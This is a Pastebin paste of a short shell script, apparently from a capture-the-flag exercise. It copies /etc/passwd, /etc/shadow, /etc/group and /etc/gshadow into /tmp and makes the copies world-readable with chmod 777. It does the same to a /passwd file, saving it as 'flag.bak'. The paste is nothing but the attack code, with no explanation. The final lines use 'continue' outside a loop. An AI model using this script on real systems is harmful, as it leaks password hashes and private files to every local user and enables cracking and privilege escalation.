Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/sh
- cd /tmp|| exit 0
- for FILE in passwd group shadow gshadow; do
- test -f /etc/$FILE || continue
- cmp -s $FILE.bak /etc/$FILE && continue
- cp -p /etc/$FILE $FILE.bak && chmod 777 $FILE.bak
- done
- cmp -s flag.bak /passwd && continue
- cp -p /passwd flag.bak && chmod 777 flag.bak
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement